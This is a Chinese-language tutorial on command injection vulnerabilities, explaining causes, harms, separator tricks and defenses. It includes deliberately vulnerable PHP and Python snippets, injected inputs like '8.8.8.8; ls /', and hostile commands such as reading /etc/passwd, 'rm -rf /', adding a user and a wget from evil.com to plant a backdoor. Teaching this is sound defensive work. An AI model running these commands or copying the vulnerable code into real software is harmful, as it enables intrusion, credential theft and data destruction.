定义
命令执行漏洞（Command Injection），指攻击者通过构造恶意输入，诱导应用程序执行非预期的操作系统命令（如ls、rm、ping等），从而控制服务器、窃取数据或破坏系统。它是 “代码执行漏洞” 的一种特殊形式，核心聚焦于操作系统命令的滥用。
命令执行漏洞的本质是：应用程序在调用系统命令时，将用户可控的输入直接拼接进命令字符串中，且未进行严格过滤或转义，导致攻击者注入的恶意命令被系统执行。
简单说，当程序需要调用系统命令（如执行ping检测网络、ffmpeg处理视频等），若直接将用户输入作为命令的一部分拼接执行，就可能被攻击者利用。
工作原理
命令执行漏洞的形成原因主要是开发人员在编写代码时，没有对用户输入进行充分的验证和过滤，导致恶意用户可以通过构造恶意命令参数来执行任意系统命令。例如，在PHP中，如果使用system()、exec()、shell_exec()等函数执行用户输入的命令，就可能导致命令执行漏洞。
在php中常见函数有：system()、exec()、shell_exec()、passthru()、特殊符号 。
危害
命令执行漏洞一旦被利用，攻击者可直接操控服务器操作系统，危害包括：
信息窃取：执行cat /etc/passwd查看用户列表、cat /var/www/config.php读取数据库密码；

文件操作：删除关键文件（rm -rf /）、篡改业务数据（echo 'hack' > index.html）；

权限提升：通过sudo命令尝试获取管理员权限，或添加恶意用户（useradd hacker）；

横向渗透：利用服务器作为跳板，攻击内网其他设备（如ssh 192.168.1.100登录内网主机）；

持久化控制：植入后门程序（如wget http://evil.com/backdoor.sh -O /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh），长期控制服务器。

典型场景与示例
命令执行漏洞常见于需要 “与操作系统交互” 的功能，例如网络检测、文件处理、系统工具调用等。
网络检测功能（以 ping 为例）
程序提供 “检测 IP 连通性” 功能，接收用户输入的 IP 地址，拼接进ping命令执行。
// 接收用户输入的IP

$ip = $_GET['ip'];

// 直接拼接IP执行ping命令（Windows用ping -n 1，Linux用ping -c 1）

system("ping -c 1 " . $ip);

正常用户输入8.8.8.8，命令为ping -c 1 8.8.8.8（合法）；
攻击者输入8.8.8.8; ls /，命令变为ping -c 1 8.8.8.8; ls /—— 执行ping后，额外执行ls /（列出根目录文件）。
文件处理功能（以删除文件为例）
程序允许用户删除指定文件，接收用户输入的文件名，拼接进rm命令执行。
import os

# 接收用户输入的文件名

filename = input("请输入要删除的文件名：")

# 直接拼接文件名执行rm命令

os.system(f"rm {filename}")

正常用户输入test.txt，命令为rm test.txt（合法）；
攻击者输入test.txt; rm -rf /tmp/\，命令变为rm test.txt; rm -rf /tmp/\—— 删除目标文件后，额外删除/tmp目录下的所有文件。
命令连接符的滥用
攻击者常用以下符号连接正常命令和恶意命令，绕过简单过滤：
	连接符
	作用
	示例（在 ping 命令后附加恶意命令）

	;
	分隔多个命令，依次执行
	8.8.8.8; ls → 先 ping，再执行 ls

	&&
	前一个命令成功执行后，再执行后一个
	8.8.8.8 && ls → ping 成功才执行 ls

	&
	前一个命令后台执行，同时执行后一个
	8.8.8.8 & ls → ping 后台运行，同时执行 ls

	\\
	执行反引号内的命令，返回结果
	ping \whoami\ → 先执行 whoami，再 ping 结果

	$()
	类似反引号，执行括号内的命令
	ping $(whoami) → 同反引号效果


防范措施
防护命令执行漏洞的核心是：切断用户输入与系统命令的直接拼接，严格限制命令参数的可控范围。
对用户输入进行严格的验证和过滤：开发人员应该对用户输入进行严格的验证和过滤，避免直接拼接用户输入到系统命令中（若业务必须调用系统命令，使用 “参数化调用” 而非字符串拼接 —— 将命令和参数分开传递，让系统明确区分 “命令” 和 “参数”，避免参数被解析为命令的一部分。）。

避免使用危险函数：尽量不要执行外部命令，使用自定义函数或函数库来替代外部命令的功能。

使用安全的API或库：使用安全的API或库来执行系统命令，例如使用escapeshellarg()函数来处理命令参数。

及时更新和修补系统漏洞：保持系统和应用程序的最新状态，及时应用安全更新和补丁，以修复已知的漏洞和缺陷。

部署安全防护设备：在关键的网络节点上部署防火墙、入侵检测系统等安全防护设备，可以有效监测和阻断恶意流量，防止攻击者利用命令执行漏洞进行攻击。





